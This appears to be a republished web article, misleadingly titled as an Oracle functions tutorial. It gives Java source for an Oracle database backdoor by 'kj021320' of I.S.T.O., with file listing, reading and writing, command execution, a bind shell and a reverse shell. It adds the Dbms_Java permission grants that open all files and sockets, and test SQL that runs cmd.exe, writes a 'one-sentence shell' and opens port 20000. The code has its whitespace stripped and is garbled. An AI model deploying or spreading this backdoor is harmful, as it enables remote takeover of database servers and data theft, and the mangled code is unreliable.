Case Analysis Oracle Functions

Source: Internet
Author: User

Before giving you a detailed introduction to Oracle functions, let's first understand how to create JAVA objects for Oracle databases, and then introduce Oracle functions in a comprehensive manner, hoping to be useful to you. First of all in the Oracle database to establish JAVA objects, this version of the SQLJ-SHELL can only support positive connections, reverse connections when there is a BUG is not recommended to use, do not know is ORA support JAVA problems or personal ability limited:

 
 
  1. createorreplaceandcompilejavasourcenamedistoas  
  2. importjava.io.*;  
  3. importjava.net.*;  
  4. publicclassISTO{  
  5. //author:kj021320  
  6. //team:I.S.T.O  
  7. publicstaticStringlistFolder(Stringpath){  
  8. Filef=null;  
  9. Stringstr="";  
  10. f=newFile(path);  
  11. String[]ffiles=f.list();  
  12. if(files!=null)  
  13. for(inti=0;i<files.length;i++){  
  14. str+=files[i]+"\r\n";  
  15. }  
  16. returnstr;  
  17. }  
  18. publicstaticStringsaveFile(Stringfilepath,Stringvalue){  
  19. FileOutputStreamfos=null;  
  20. try{  
  21. fos=newFileOutputStream(filepath);  
  22. fos.write(value.getBytes());  
  23. return"OK";  
  24. }catch(Exceptione){  
  25. returne.getMessage();  
  26. }finally{  
  27. if(fos!=null){  
  28. try{fos.close();}catch(Exceptione){}  
  29. }  
  30. }  
  31. }  
  32. publicstaticStringreadFile(Stringpathfile,Stringcode){  
  33. BufferedReaderbr=null;  
  34. Stringvalue="";  
  35. try{  
  36. br=newBufferedReader(newInputStreamReader(newFileInputStream(pathfile),code));  
  37. Strings=null;  
  38. while((s=br.readLine())!=null){  
  39. value+=s;  
  40. }  
  41. returnvalue;  
  42. }catch(Exceptione){  
  43. returne.getMessage();  
  44. }finally{  
  45. if(br!=null){try{br.close();}catch(IOExceptione){}}  
  46. }  
  47. }  
  48. publicstaticStringexecFile(Stringfilepath,Stringcode){  
  49. inti=0;  
  50. RuntimeRuntimert=Runtime.getRuntime();  
  51. Stringoutput="";  
  52. InputStreamReaderisr=null;  
  53. char[]bufferC=newchar[1024];  
  54. try{  
  55. Processps=rt.exec(filepath);  
  56. isr=newInputStreamReader(ps.getInputStream(),code);  
  57. while((i=isr.read(bufferC,0,bufferC.length))!=-1){  
  58. output+=newString(bufferC,0,i);  
  59. }  
  60. returnoutput;  
  61. }catch(Exceptione){  
  62. returne.getMessage();  
  63. }finally{  
  64. if(isr!=null)try{isr.close();}catch(IOExceptione){}  
  65. }  
  66. }  
  67. publicstaticStringbindShell(intport){  
  68. ServerSocketss=null;  
  69. Sockets=null;  
  70. try{  
  71. ss=newServerSocket(port);  
  72. s=ss.accept();  
  73. newoptShell(ss,s).start();  
  74.  
  75. return"OK";  
  76. }catch(Exceptione){  
  77. returne.getMessage();  
  78. }  
  79. }  
  80. publicstaticStringreverseShell(Stringhost,intport){  
  81. Sockets=null;  
  82. try{  
  83. s=newSocket(host,port);  
  84. newoptShell(null,s).start();  
  85. return"OK";  
  86. }catch(Exceptione){  
  87. returne.getMessage();  
  88. }  
  89. }  
  90. publicstaticclassoptShellextendsThread{  
  91. OutputStreamos=null;  
  92. InputStreamis=null;  
  93. ServerSocketss;  
  94. Sockets;  
  95. publicoptShell(ServerSocketss,Sockets){  
  96. this.ss=ss;  
  97. this.s=s;  
  98. try{  
  99. this.is=s.getInputStream();  
  100. this.os=s.getOutputStream();  
  101. }catch(Exceptione){  
  102. if(os!=null)try{os.close();}catch(Exceptionex){}  
  103. if(is!=null)try{is.close();}catch(Exceptionex){}  
  104. if(s!=null)try{s.close();}catch(Exceptionex){}  
  105. if(ss!=null)try{ss.close();}catch(Exceptionex){}  
  106. }  
  107. }  
  108. publicvoidrun(){  
  109. BufferedReaderbr=newBufferedReader(newInputStreamReader(is));  
  110. Stringline="";  
  111. Stringcmdhelp="Command:\r\nlist\r\nsave\r\nread\r\nexec\r\nexit\r\n";  
  112. try{  
  113. //os.write(cmdhelp.getBytes());  
  114. line=br.readLine();  
  115. while(!"exit".equals(line)){  
  116. if(line.length()>3){  
  117. StringBuffersb=newStringBuffer(line.trim());  
  118. Stringcmd=sb.substring(0,4);  
  119. if(cmd.equals("list")){  
  120. os.write("inputyoupath:\r\n".getBytes());  
  121. line=br.readLine();  
  122. os.write(listFolder(line).getBytes());  
  123. }elseif("save".equals(cmd)){  
  124. os.write("inputyoufilepath:\r\n".getBytes());  
  125. line=br.readLine();  
  126. os.write("inputyouvalue:\r\n".getBytes());  
  127. os.write(saveFile(line,br.readLine()).getBytes());  
  128. }elseif("read".equals(cmd)){  
  129. os.write("inputyoufilepath:\r\n".getBytes());  
  130. line=br.readLine();  
  131. os.write("inputyoucodeexamle:GBK\r\n".getBytes());  
  132. os.write(readFile(line,br.readLine()).getBytes());  
  133. }elseif("exec".equals(cmd)){  
  134. os.write("inputyourunfilepath:\r\n".getBytes());  
  135. line=br.readLine();  
  136. os.write("inputyoucodeexamle:GBK\r\n".getBytes());  
  137. os.write(execFile(line,br.readLine()).getBytes());  
  138. }else{  
  139. os.write(cmdhelp.getBytes());  
  140. }  
  141. }else{  
  142. os.write(cmdhelp.getBytes());  
  143. }  
  144. line=br.readLine();  
  145. }  
  146. }catch(Exceptione){  
  147. e.printStackTrace();  
  148. }finally{  
  149. if(os!=null)try{os.close();}catch(Exceptione){}  
  150. if(is!=null)try{is.close();}catch(Exceptione){}  
  151. if(s!=null)try{s.close();}catch(Exceptione){}  
  152. if(ss!=null)try{ss.close();}catch(Exceptione){}  
  153. }  
  154. }  
  155. }  

After the above establishment, you need to use the Oracle function to call the JAVA static method:
◆ List Directory Functions
◆ File saving function
◆ File Reading Function
◆ Run file functions
◆ Port binding you can telnet in

After the preceding Oracle Function Conversion operation, you must grant the JAVA access permission.

 
 
  1. Begin
  2. Dbms_Java.Grant_Permission ('username', 'java. io. filepermission ','<<ALLFILES>>', 'Read, write, execute, delete ');
  3. Dbms_Java.Grant_Permission ('username', 'java. lang. runtimepermission', '*', 'writefiledescriptor ');
  4. Dbms_Java.grant_permission ('username', 'java. net. socketpermission', '*: *', 'Accept, connect, listen, resolve ');
  5. End;

Then you can perform file operations and run the program to enable the network!

The following is the test code:

 
 
  1. SELECT ISTO_LISTFOLDER ('/usr') FROM DUAL
  2. SELECT ISTO_EXECFILE ('C: \ WINDOWS \ system32 \ cmd.exe/C dir c: \ ', 'gbk') from dual;
  3. SELECT ISTO_READFILE ('/tmp/1.txt', 'gbk') from dual;
  4. SELECT ISTO_SAVEFILE ('/tmp/1.txt', 'one-sentence shell') from dual;
  5. SELECT ISTO_BINDSHELL (20000) FROM DUAL
  1. Oracle object privileges
  2. Oracle System privileges
  3. Common Oracle password verification
  4. Brief Discussion on Oracle media recovery
  5. Completely kill the Oracle deadlock Process

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.